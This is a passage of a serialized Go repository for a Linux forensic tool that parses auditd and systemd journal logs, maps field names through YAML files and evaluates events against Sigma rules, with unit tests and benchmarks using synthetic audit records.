{\n\t\tt.Errorf(\"expected cwd=/home/user (merged from CWD record), got %q\", first.Data[\"cwd\"])\n\t}\n\tif first.Data[\"name\"] != \"/etc/ssh/sshd_config\" {\n\t\tt.Errorf(\"expected name=/etc/ssh/sshd_config (merged from PATH record), got %q\", first.Data[\"name\"])\n\t}\n}\n\nfunc TestParseEventsCorrelation(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"corr.log\")\n\t// Three records sharing seq 99 — fields from later records fill in gaps.\n\tcontent := \"\" +\n\t\t\"type=SYSCALL msg=audit(1000000000.000:99): pid=42 auid=1000 exe=\\\"/bin/bash\\\"\\n\" +\n\t\t\"type=EXECVE  msg=audit(1000000000.000:99): argc=2 a0=\\\"bash\\\" a1=\\\"-i\\\"\\n\" +\n\t\t\"type=CWD     msg=audit(1000000000.000:99): cwd=\\\"/root\\\"\\n\" +\n\t\t// Unrelated record with a different seq.\n\t\t\"type=SYSCALL msg=audit(1000000001.000:100): pid=7 auid=0 exe=\\\"/usr/bin/id\\\"\\n\"\n\tif err := os.WriteFile(f, []byte(content), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != 2 {\n\t\tt.Fatalf(\"expected 2 correlated events, got %d\", len(events))\n\t}\n\n\te := events[0]\n\tif e.Type != \"SYSCALL\" {\n\t\tt.Errorf(\"first event type: got %q, want SYSCALL\", e.Type)\n\t}\n\tif e.Data[\"exe\"] != \"/bin/bash\" {\n\t\tt.Errorf(\"exe: got %q, want /bin/bash\", e.Data[\"exe\"])\n\t}\n\tif e.Data[\"argc\"] != \"2\" {\n\t\tt.Errorf(\"argc (from EXECVE): got %q, want 2\", e.Data[\"argc\"])\n\t}\n\tif e.Data[\"cwd\"] != \"/root\" {\n\t\tt.Errorf(\"cwd (from CWD): got %q, want /root\", e.Data[\"cwd\"])\n\t}\n\t// SYSCALL exe must win over any exe on later records.\n\tif events[1].Data[\"exe\"] != \"/usr/bin/id\" {\n\t\tt.Errorf(\"second event exe: got %q, want /usr/bin/id\", events[1].Data[\"exe\"])\n\t}\n}\n\nfunc TestParseEventsSkipsNonTypeLines(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"test.log\")\n\tcontent := \"not a type line\\nsome other content\\n\" +\n\t\t\"type=SYSCALL msg=audit(1364481363.243:1): arch=c000003e syscall=2 pid=100 exe=/bin/sh auid=0\\n\"\n\tif err := os.WriteFile(f, []byte(content), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != 1 {\n\t\tt.Errorf(\"expected 1 event, got %d\", len(events))\n\t}\n}\n\nfunc TestParseEventsEmpty(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"empty.log\")\n\tif err := os.WriteFile(f, []byte(\"\"), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != 0 {\n\t\tt.Errorf(\"expected 0 events, got %d\", len(events))\n\t}\n}\n\nfunc TestParseEventsBadTimestampDoesNotPanic(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"bad.log\")\n\t// msg field does not contain an audit(...) timestamp\n\tcontent := \"type=SYSCALL msg=notaudit(bad): arch=c000003e\\n\"\n\tif err := os.WriteFile(f, []byte(content), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tt.Errorf(\"ParseEvents panicked on bad timestamp: %v\", r)\n\t\t}\n\t}()\n\n\t// Must not panic; the line with a bad timestamp is skipped\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\t// The SYSCALL line has no valid audit(...) timestamp — it should be\n\t// handled without panicking (event will be stored without a timestamp).\n\t_ = events\n}\n\nfunc TestParseEventsTimestampConversion(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"ts.log\")\n\t// Unix timestamp 0 should become 1970-01-01T00:00:00Z\n\tcontent := \"type=SYSCALL msg=audit(0.000:1): arch=c000003e syscall=2 pid=1 auid=0\\n\"\n\tif err := os.WriteFile(f, []byte(content), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) == 0 {\n\t\tt.Fatal(\"expected 1 event\")\n\t}\n\tif events[0].Data[\"timestamp\"] != \"1970-01-01T00:00:00Z\" {\n\t\tt.Errorf(\"unexpected timestamp: %q\", events[0].Data[\"timestamp\"])\n\t}\n}\n\nfunc TestAuditEventSelect(t *testing.T) {\n\te := AuditEvent{\n\t\tType: \"SYSCALL\",\n\t\tData: map[string]string{\n\t\t\t\"exe\": \"/bin/bash\",\n\t\t\t\"pid\": \"1234\",\n\t\t},\n\t}\n\n\tif v, ok := e.Select(\"type\"); !ok || v != \"SYSCALL\" {\n\t\tt.Errorf(\"Select(type): got %v, ok=%v\", v, ok)\n\t}\n\tif v, ok := e.Select(\"exe\"); !ok || v != \"/bin/bash\" {\n\t\tt.Errorf(\"Select(exe): got %v, ok=%v\", v, ok)\n\t}\n\tif v, ok := e.Select(\"pid\"); !ok || v != \"1234\" {\n\t\tt.Errorf(\"Select(pid): got %v, ok=%v\", v, ok)\n\t}\n\tif _, ok := e.Select(\"nonexistent\"); ok {\n\t\tt.Error(\"Select(nonexistent) should return false\")\n\t}\n}\n\nfunc TestAuditEventKeywords(t *testing.T) {\n\te := AuditEvent{\n\t\tType: \"EXECVE\",\n\t\tData: map[string]string{\"exe\": \"/bin/bash\", \"pid\": \"1234\"},\n\t}\n\n\tkeywords, ok := e.Keywords()\n\tif !ok {\n\t\tt.Error(\"Keywords() should return true\")\n\t}\n\n\tfound := false\n\tfor _, k := range keywords {\n\t\tif k == \"EXECVE\" {\n\t\t\tfound = true\n\t\t}\n\t}\n\tif !found {\n\t\tt.Errorf(\"Keywords() should contain the event type; got %v\", keywords)\n\t}\n\n\t// Data keys should also appear\n\tfoundKey := false\n\tfor _, k := range keywords {\n\t\tif strings.Contains(k, \"exe\") {\n\t\t\tfoundKey = true\n\t\t}\n\t}\n\tif !foundKey {\n\t\tt.Errorf(\"Keywords() should contain data keys; got %v\", keywords)\n\t}\n}\n\nfunc TestParseLineQuoting(t *testing.T) {\n\tcases := []struct {\n\t\tline string\n\t\tkey  string\n\t\twant string\n\t}{\n\t\t// double-quoted value\n\t\t{`type=SYSCALL msg=audit(0.000:1): exe=\"/bin/cat\"`, \"exe\", \"/bin/cat\"},\n\t\t// single-quoted value (USER_AUTH style)\n\t\t{`type=USER_AUTH msg=audit(0.000:1): msg='op=PAM acct=\"root\" res=failed'`, \"msg\", `op=PAM acct=\"root\" res=failed`},\n\t\t// unquoted value\n\t\t{`type=SYSCALL msg=audit(0.000:1): pid=1234`, \"pid\", \"1234\"},\n\t\t// bare parens — not a quote\n\t\t{`type=SYSCALL msg=audit(0.000:1): exit=(null)`, \"exit\", \"(null)\"},\n\t}\n\tfor _, c := range cases {\n\t\tevent := parseLine(c.line)\n\t\tif got := event[c.key]; got != c.want {\n\t\t\tt.Errorf(\"parseLine key %q: got %q, want %q\", c.key, got, c.want)\n\t\t}\n\t}\n}\n\nfunc TestParseEventsStripsQuotes(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"audit.log\")\n\t// exe and comm are quoted in real auditd logs\n\tcontent := \"type=SYSCALL msg=audit(1364481363.243:1): arch=c000003e syscall=59 pid=100 auid=0 exe=\\\"/bin/bash\\\" comm=\\\"bash\\\" key=\\\"susp_activity\\\"\\n\"\n\tif err := os.WriteFile(f, []byte(content), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != 1 {\n\t\tt.Fatalf(\"expected 1 event, got %d\", len(events))\n\t}\n\te := events[0]\n\tif e.Data[\"exe\"] != \"/bin/bash\" {\n\t\tt.Errorf(\"exe: got %q, want /bin/bash\", e.Data[\"exe\"])\n\t}\n\tif e.Data[\"comm\"] != \"bash\" {\n\t\tt.Errorf(\"comm: got %q, want bash\", e.Data[\"comm\"])\n\t}\n\tif e.Data[\"key\"] != \"susp_activity\" {\n\t\tt.Errorf(\"key: got %q, want susp_activity\", e.Data[\"key\"])\n\t}\n}\n\nfunc TestFindLogWithExistingFile(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"audit.log\")\n\tif err := os.WriteFile(f, []byte(\"\"), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := FindLog(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif result != f {\n\t\tt.Errorf(\"expected %q, got %q\", f, result)\n\t}\n}\n\nfunc TestFindLogMissingFile(t *testing.T) {\n\t_, err := FindLog(\"/nonexistent/path/to/audit.log\")\n\tif err == nil {\n\t\tt.Error(\"expected error for missing file\")\n\t}\n}\n\n// representativeLine is a realistic auditd SYSCALL line with quoted fields and\n// a long argument list — the kind of line the parser sees most often.\nconst representativeLine = `type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=59 success=yes exit=0 a0=7f1234 a1=7f5678 a2=7f9abc a3=0 items=2 ppid=2686 pid=3538 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm=\"bash\" exe=\"/bin/bash\" key=\"susp_exec\"`\n\n// TestParseEventsWindowBoundary verifies that flushing the sliding window does\n// not drop events or split correlated groups. It generates more than windowSize\n// distinct sequence numbers, each with two correlated records, and asserts that\n// every group arrives complete and in order.\nfunc TestParseEventsWindowBoundary(t *testing.T) {\n\ttotal := windowSize*2 + 5 // well beyond one window flush cycle\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"window.log\")\n\n\tvar sb strings.Builder\n\tfor i := 0; i < total; i++ {\n\t\t// Two records per logical event sharing the same seq.\n\t\tfmt.Fprintf(&sb, \"type=SYSCALL msg=audit(1000000000.000:%d): pid=%d auid=1000 exe=\\\"/bin/sh\\\"\\n\", i, i+100)\n\t\tfmt.Fprintf(&sb, \"type=EXECVE  msg=audit(1000000000.000:%d): argc=1 a0=\\\"sh\\\"\\n\", i)\n\t}\n\tif err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != total {\n\t\tt.Fatalf(\"expected %d events, got %d\", total, len(events))\n\t}\n\tfor i, e := range events {\n\t\t// Each merged event must carry fields from both records.\n\t\twantPID := fmt.Sprintf(\"%d\", i+100)\n\t\tif e.Data[\"pid\"] != wantPID {\n\t\t\tt.Errorf(\"event %d: pid=%q, want %q\", i, e.Data[\"pid\"], wantPID)\n\t\t}\n\t\tif e.Data[\"argc\"] != \"1\" {\n\t\t\tt.Errorf(\"event %d: argc=%q (EXECVE field missing after window flush)\", i, e.Data[\"argc\"])\n\t\t}\n\t}\n}\n\n// BenchmarkTokenizeParseLine measures the tokenizer-based parsing kernel.\nfunc BenchmarkTokenizeParseLine(b *testing.B) {\n\tline := representativeLine\n\tb.ResetTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\t_ = parseLine(line)\n\t}\n}\n\n// BenchmarkParseEvents measures end-to-end throughput on a 10 000-line log\n// where all lines share the same sequence number (one giant correlated group).\nfunc BenchmarkParseEvents(b *testing.B) {\n\ttmp := b.TempDir()\n\tf := filepath.Join(tmp, \"bench.log\")\n\tvar sb strings.Builder\n\tfor i := 0; i < 10_000; i++ {\n\t\tsb.WriteString(representativeLine)\n\t\tsb.WriteByte('\\n')\n\t}\n\tif err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {\n\t\tb.Fatal(err)\n\t}\n\n\tb.ResetTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\tif _, err := ParseEvents(f); err != nil {\n\t\t\tb.Fatal(err)\n\t\t}\n\t}\n}\n\n// parseEventsOld is the pre-window full-buffering implementation kept only for\n// benchmark comparison. It accumulates every group and seq in memory before\n// returning — O(total records) peak allocation.\nfunc parseEventsOld(logFile string) ([]AuditEvent, error) {\n\tfile, err := os.Open(logFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar seqOrder []string\n\tgroups := make(map[string]map[string]string)\n\tstandalone := 0\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tif !strings.HasPrefix(line, \"type=\") {\n\t\t\tcontinue\n\t\t}\n\t\tdata := parseLine(line)\n\t\tif len(data) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tseq := data[\"seq\"]\n\t\tif seq == \"\" {\n\t\t\tseq = fmt.Sprintf(\"__solo_%d\", standalone)\n\t\t\tstandalone++\n\t\t}\n\t\tif _, exists := groups[seq]; !exists {\n\t\t\tseqOrder = append(seqOrder, seq)\n\t\t\tgroups[seq] = make(map[string]string, len(data))\n\t\t}\n\t\tg := groups[seq]\n\t\tfor k, v := range data {\n\t\t\tif _, exists := g[k]; !exists {\n\t\t\t\tg[k] = v\n\t\t\t}\n\t\t}\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\tevents := make([]AuditEvent, 0, len(seqOrder))\n\tfor _, seq := range seqOrder {\n\t\tg := groups[seq]\n\t\tevents = append(events, AuditEvent{Type: g[\"type\"], Data: g})\n\t}\n\treturn events, nil\n}\n\n// BenchmarkParseEventsManySeqsOld is the baseline: old full-buffering approach.\nfunc BenchmarkParseEventsManySeqsOld(b *testing.B) {\n\tconst numEvents = 100_000\n\ttmp := b.TempDir()\n\tf := filepath.Join(tmp, \"manyseqs_old.log\")\n\tvar sb strings.Builder\n\tfor i := 0; i < numEvents; i++ {\n\t\tfmt.Fprintf(&sb, \"type=SYSCALL msg=audit(1000000000.000:%d): arch=c000003e syscall=59 pid=%d auid=1000 uid=1000 exe=\\\"/bin/bash\\\" comm=\\\"bash\\\" key=\\\"exec\\\"\\n\", i, i+1000)\n\t\tfmt.Fprintf(&sb, \"type=EXECVE  msg=audit(1000000000.000:%d): argc=2 a0=\\\"bash\\\" a1=\\\"-c\\\"\\n\", i)\n\t}\n\tif err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {\n\t\tb.Fatal(err)\n\t}\n\tb.ResetTimer()\n\tb.ReportAllocs()\n\tfor i := 0; i < b.N; i++ {\n\t\tif _, err := parseEventsOld(f); err != nil {\n\t\t\tb.Fatal(err)\n\t\t}\n\t}\n}\n\n// BenchmarkParseEventsManySeqs stresses the sliding-window path: 100 000\n// distinct events, each with a SYSCALL + EXECVE record pair. This is the\n// workload where the old full-buffering approach accumulated O(N) groups in\n// memory; the window keeps at most windowSize groups live at any time.\nfunc BenchmarkParseEventsManySeqs(b *testing.B) {\n\tconst numEvents = 100_000\n\ttmp := b.TempDir()\n\tf := filepath.Join(tmp, \"manyseqs.log\")\n\tvar sb strings.Builder\n\tfor i := 0; i < numEvents; i++ {\n\t\tfmt.Fprintf(&sb, \"type=SYSCALL msg=audit(1000000000.000:%d): arch=c000003e syscall=59 pid=%d auid=1000 uid=1000 exe=\\\"/bin/bash\\\" comm=\\\"bash\\\" key=\\\"exec\\\"\\n\", i, i+1000)\n\t\tfmt.Fprintf(&sb, \"type=EXECVE  msg=audit(1000000000.000:%d): argc=2 a0=\\\"bash\\\" a1=\\\"-c\\\"\\n\", i)\n\t}\n\tif err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {\n\t\tb.Fatal(err)\n\t}\n\n\tb.ResetTimer()\n\tb.ReportAllocs()\n\tfor i := 0; i < b.N; i++ {\n\t\tif _, err := ParseEvents(f); err != nil {\n\t\t\tb.Fatal(err)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "maps/journald/journald.go",
    "content": "//go:build linux\n\npackage journald\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\tsigma \"github.com/M00NLIG7/go-sigma-rule-engine\"\n\t\"github.com/M00NLIG7/ChopChopGo/maps/mapping\"\n\t\"github.com/M00NLIG7/ChopChopGo/maps/output\"\n\t\"github.com/coreos/go-systemd/v22/sdjournal\"\n\t\"github.com/schollz/progressbar/v3\"\n)\n\n// JournaldEvent represents a single entry from the systemd journal.\ntype JournaldEvent struct {\n\tMessage   string\n\tTimestamp string\n}\n\n// Keywords satisfies the sigma.Event interface.\nfunc (e JournaldEvent) Keywords() ([]string, bool) {\n\treturn []string{e.Message}, true\n}\n\n// Select satisfies the sigma.Event interface.\nfunc (e JournaldEvent) Select(name string) (interface{}, bool) {\n\tswitch name {\n\tcase \"message\":\n\t\treturn e.Message, true\n\tcase \"timestamp\":\n\t\treturn e.Timestamp, true\n\tdefault:\n\t\treturn nil, false\n\t}\n}\n\n// MappedJournaldEvent wraps a JournaldEvent with field-name translation so that\n// Sigma rules written with generic field names are resolved to journald-native\n// names before Select is called.\ntype MappedJournaldEvent struct {\n\tJournaldEvent\n\tm *mapping.Mapping\n}\n\nfunc (e MappedJournaldEvent) Keywords() ([]string, bool) { return e.JournaldEvent.Keywords() }\n\nfunc (e MappedJournaldEvent) Select(name string) (interface{}, bool) {\n\treturn e.JournaldEvent.Select(e.m.Resolve(name))\n}\n\n// ParseEvents reads all entries from the live systemd journal.\n// Journald uses a binary format that requires the systemd API; reading from\n// an arbitrary file path is not supported.\nfunc ParseEvents() ([]JournaldEvent, error) {\n\tj, err := sdjournal.NewJournal()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"opening journal: %w\", err)\n\t}\n\tdefer j.Close()\n\n\tif err := j.SeekHead(); err != nil {\n\t\treturn nil, fmt.Errorf(\"seeking journal head: %w\", err)\n\t}\n\n\tvar events []JournaldEvent\n\tfor {\n\t\tn, err := j.Next()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"reading journal entry: %w\", err)\n\t\t}\n\t\tif n == 0 {\n\t\t\tbreak\n\t\t}\n\n\t\tmessage, _ := j.GetData(\"MESSAGE\")\n\t\t// Strip the \"MESSAGE=\" prefix that sdjournal includes in the value.\n\t\tmessage = strings.TrimPrefix(message, \"MESSAGE=\")\n\n\t\tusec, err := j.GetRealtimeUsec()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"reading entry timestamp: %w\", err)\n\t\t}\n\t\tts := time.Unix(0, int64(usec)*int64(time.Microsecond)).UTC().Format(time.RFC3339)\n\n\t\tevents = append(events, JournaldEvent{\n\t\t\tMessage:   message,\n\t\t\tTimestamp: ts,\n\t\t})\n\t}\n\treturn events, nil\n}\n\nvar journaldRenderer = output.Renderer{\n\tHeaders: []string{\"Timestamp\", \"Message\", \"Tags\", \"Author\"},\n\tRow: func(r output.ScanResult) []string {\n\t\treturn []string{r.Timestamp, r.Message, output.TagString(r.Tags), r.Author}\n\t},\n}\n\n// Chop scans the live systemd journal against Sigma rules and writes results\n// to stdout. Passing a file path is not supported because the journal uses a\n// binary format that requires the systemd API.\n// mappingPath overrides the default mappings/journald.yml when non-empty.\nfunc Chop(rulePath, outputType, mappingPath string) error {\n\tevents, err := ParseEvents()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"reading journal: %w\", err)\n\t}\n\n\truleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"loading ruleset: %w\", err)\n\t}\n\n\tshowProgress := outputType != \"json\" && outputType != \"csv\"\n\tvar bar *progressbar.ProgressBar\n\tif showProgress {\n\t\tbar = progressbar.Default(int64(len(events)))\n\t}\n\n\tif mappingPath == \"\" {\n\t\tmappingPath = \"mappings/journald.yml\"\n\t}\n\tm := mapping.LoadOrIdentity(mappingPath, \"journald\")\n\n\tvar results []output.ScanResult\n\tfor _, event := range events {\n\t\tmapped := MappedJournaldEvent{event, m}\n\t\tif res, match := ruleset.EvalAll(mapped); match {\n\t\t\tresults = append(results, output.ScanResult{\n\t\t\t\tTimestamp: event.Timestamp,\n\t\t\t\tMessage:   event.Message,\n\t\t\t\tTags:      res[0].Tags,\n\t\t\t\tAuthor:    res[0].Author,\n\t\t\t\tRuleID:    res[0].ID,\n\t\t\t\tTitle:     res[0].Title,\n\t\t\t})\n\t\t}\n\t\tif showProgress {\n\t\t\tbar.Add(1)\n\t\t}\n\t}\n\n\tif err := output.Write(os.Stdout, outputType, results, journaldRenderer); err != nil {\n\t\treturn fmt.Errorf(\"writing output: %w\", err)\n\t}\n\tif showProgress {\n\t\tfmt.Printf(\"Processed %d journald events\\n\", len(events))\n\t}\n\treturn nil\n}\n\n// ChopToLog is like Chop but calls log.Fatalf on error, for use from main.\nfunc ChopToLog(rulePath, outputType, mappingPath string) {\n\tif err := Chop(rulePath, outputType, mappingPath); err != nil {\n\t\tlog.Fatalf(\"journald: %v\", err)\n\t}\n}\n"
  },
  {
    "path": "maps/journald/journald_test.go",
    "content": "//go:build linux\n\npackage journald\n\nimport (\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestJournaldEventSelectMessage(t *testing.T) {\n\te := JournaldEvent{\n\t\tMessage:   \"Started Network Manager.\",\n\t\tTimestamp: \"2023-03-01T10:00:00Z\",\n\t}\n\n\tv, ok := e.Select(\"message\")\n\tif !ok {\n\t\tt.Fatal(\"Select(message) should return true\")\n\t}\n\tif v != \"Started Network Manager.\" {\n\t\tt.Errorf(\"unexpected message value: %v\", v)\n\t}\n}\n\nfunc TestJournaldEventSelectTimestamp(t *testing.T) {\n\te := JournaldEvent{\n\t\tMessage:   \"test\",\n\t\tTimestamp: \"2023-03-01T10:00:00Z\",\n\t}\n\n\tv, ok := e.Select(\"timestamp\")\n\tif !ok {\n\t\tt.Fatal(\"Select(timestamp) should return true\")\n\t}\n\tif v != \"2023-03-01T10:00:00Z\" {\n\t\tt.Errorf(\"unexpected timestamp value: %v\", v)\n\t}\n}\n\nfunc TestJournaldEventSelectUnknown(t *testing.T) {\n\te := JournaldEvent{Message: \"test\", Timestamp: \"2023-03-01T10:00:00Z\"}\n\tif _, ok := e.Select(\"nonexistent\"); ok {\n\t\tt.Error(\"Select(nonexistent) should return false\")\n\t}\n}\n\nfunc TestJournaldEventKeywords(t *testing.T) {\n\te := JournaldEvent{\n\t\tMessage:   \"kernel: EXT4-fs error on device sda1\",\n\t\tTimestamp: \"2023-03-01T10:00:00Z\",\n\t}\n\n\tkeywords, ok := e.Keywords()\n\tif !ok {\n\t\tt.Error(\"Keywords() should return true\")\n\t}\n\tfound := false\n\tfor _, k := range keywords {\n\t\tif strings.Contains(k, \"EXT4-fs\") {\n\t\t\tfound = true\n\t\t}\n\t}\n\tif !found {\n\t\tt.Errorf(\"Keywords() should contain message content; got %v\", keywords)\n\t}\n}\n"
  },
  {
    "path": "maps/journald/stub.go",
    "content": "//go:build !linux\n\npackage journald\n\nimport (\n\t\"fmt\"\n\t\"log\"\n)\n\n// Chop is not supported on non-Linux platforms because journald is Linux-only.\nfunc Chop(rulePath, outputType, mappingPath string) error {\n\treturn fmt.Errorf(\"journald is not supported on this platform\")\n}\n\n// ChopToLog is like Chop but calls log.Fatalf on error, for use from main.\nfunc ChopToLog(rulePath, outputType, mappingPath string) {\n\tif err := Chop(rulePath, outputType, mappingPath); err != nil {\n\t\tlog.Fatalf(\"journald: %v\", err)\n\t}\n}\n"
  },
  {
    "path": "maps/mapping/mapping.go",
    "content": "// Package mapping loads YAML field-mapping files and translates Sigma rule\n// field names into log-source-native field names.\n//\n// This decouples Sigma rule field references from the actual field names in\n// each log format, allowing community rules written for different schemas to\n// work without modifying the rules or recompiling the binary.\npackage mapping\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"gopkg.in/yaml.v2\"\n)\n\n// Mapping holds the translation table for one log source.\ntype Mapping struct {\n\tSource string            `yaml:\"source\"`\n\tFields map[string]string `yaml:\"fields\"`\n}\n\n// Load reads and parses a mapping YAML file.\nfunc Load(path string) (*Mapping, error) {\n\tdata, err := os.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"reading mapping file %q: %w\", path, err)\n\t}\n\tvar m Mapping\n\tif err := yaml.Unmarshal(data, &m); err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing mapping file %q: %w\", path, err)\n\t}\n\tif m.Fields == nil {\n\t\tm.Fields = make(map[string]string)\n\t}\n\treturn &m, nil\n}\n\n// Identity returns a pass-through mapping that leaves all field names unchanged.\nfunc Identity(source string) *Mapping {\n\treturn &Mapping{Source: source, Fields: make(map[string]string)}\n}\n\n// Resolve translates a Sigma field name to the log-native field name.\n// If no translation exists the original name is returned unchanged, so\n// rules that already use native field names continue to work.\nfunc (m *Mapping) Resolve(sigmaField string) string {\n\tif native, ok := m.Fields[sigmaField]; ok {\n\t\treturn native\n\t}\n\treturn sigmaField\n}\n\n// LoadOrIdentity attempts to load the mapping file at path. If the file does\n// not exist it silently returns an identity mapping so callers do not need to\n// handle the missing-file case explicitly.\nfunc LoadOrIdentity(path, source string) *Mapping {\n\tm, err := Load(path)\n\tif err != nil {\n\t\treturn Identity(source)\n\t}\n\treturn m\n}\n"
  },
  {
    "path": "maps/mapping/mapping_test.go",
    "content": "package mapping\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n)\n\nfunc writeTempMapping(t *testing.T, content string) string {\n\tt.Helper()\n\tf := filepath.Join(t.TempDir(), \"test.yml\")\n\tif err := os.WriteFile(f, []byte(content), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn f\n}\n\nfunc TestLoadValid(t *testing.T) {\n\tpath := writeTempMapping(t, `\nsource: auditd\nfields:\n  CommandLine: exe\n  ProcessId: pid\n  User: auid\n`)\n\tm, err := Load(path)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif m.Source != \"auditd\" {\n\t\tt.Errorf(\"source: got %q, want auditd\", m.Source)\n\t}\n\tif len(m.Fields) != 3 {\n\t\tt.Errorf(\"fields count: got %d, want 3\", len(m.Fields))\n\t}\n}\n\nfunc TestLoadMissingFile(t *testing.T) {\n\t_, err := Load(\"/nonexistent/mapping.yml\")\n\tif err == nil {\n\t\tt.Error(\"expected error for missing file\")\n\t}\n}\n\nfunc TestLoadInvalidYAML(t *testing.T) {\n\t// An unclosed flow mapping is a YAML parse error in yaml.v2.\n\tpath := writeTempMapping(t, \"fields: {unclosed\")\n\t_, err := Load(path)\n\tif err == nil {\n\t\tt.Error(\"expected error for invalid YAML\")\n\t}\n}\n\nfunc TestLoadEmptyFields(t *testing.T) {\n\tpath := writeTempMapping(t, \"source: syslog\\n\")\n\tm, err := Load(path)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\t// Fields should be initialised to an empty map, not nil\n\tif m.Fields == nil {\n\t\tt.Error(\"Fields should not be nil after loading empty mapping\")\n\t}\n}\n\nfunc TestResolveKnownField(t *testing.T) {\n\tm := &Mapping{Fields: map[string]string{\"CommandLine\": \"exe\", \"ProcessId\": \"pid\"}}\n\n\tif got := m.Resolve(\"CommandLine\"); got != \"exe\" {\n\t\tt.Errorf(\"Resolve(CommandLine): got %q, want exe\", got)\n\t}\n\tif got := m.Resolve(\"ProcessId\"); got != \"pid\" {\n\t\tt.Errorf(\"Resolve(ProcessId): got %q, want pid\", got)\n\t}\n}\n\nfunc TestResolveUnknownFieldPassthrough(t *testing.T) {\n\tm := &Mapping{Fields: map[string]string{\"CommandLine\": \"exe\"}}\n\n\t// Unknown sigma field names fall through to the original name\n\tif got := m.Resolve(\"auid\"); got != \"auid\" {\n\t\tt.Errorf(\"Resolve(auid): got %q, want auid (passthrough)\", got)\n\t}\n\tif got := m.Resolve(\"type\"); got != \"type\" {\n\t\tt.Errorf(\"Resolve(type): got %q, want type (passthrough)\", got)\n\t}\n}\n\nfunc TestIdentity(t *testing.T) {\n\tm := Identity(\"syslog\")\n\tif m.Source != \"syslog\" {\n\t\tt.Errorf(\"source: got %q, want syslog\", m.Source)\n\t}\n\t// Identity mapping is a passthrough for all fields\n\tif got := m.Resolve(\"anything\"); got != \"anything\" {\n\t\tt.Errorf(\"identity Resolve(anything): got %q, want anything\", got)\n\t}\n}\n\nfunc TestLoadOrIdentityMissingFile(t *testing.T) {\n\tm := LoadOrIdentity(\"/nonexistent/mapping.yml\", \"auditd\")\n\tif m.Source != \"auditd\" {\n\t\tt.Errorf(\"source: got %q, want auditd\", m.Source)\n\t}\n\t// Should behave as identity\n\tif got := m.Resolve(\"exe\"); got != \"exe\" {\n\t\tt.Errorf(\"LoadOrIdentity passthrough failed: got %q\", got)\n\t}\n}\n\nfunc TestLoadOrIdentityValidFile(t *testing.T) {\n\tpath := writeTempMapping(t, \"source: auditd\\nfields:\\n  CommandLine: exe\\n\")\n\tm := LoadOrIdentity(path, \"auditd\")\n\tif got := m.Resolve(\"CommandLine\"); got != \"exe\" {\n\t\tt.Errorf(\"Resolve after LoadOrIdentity: got %q, want exe\", 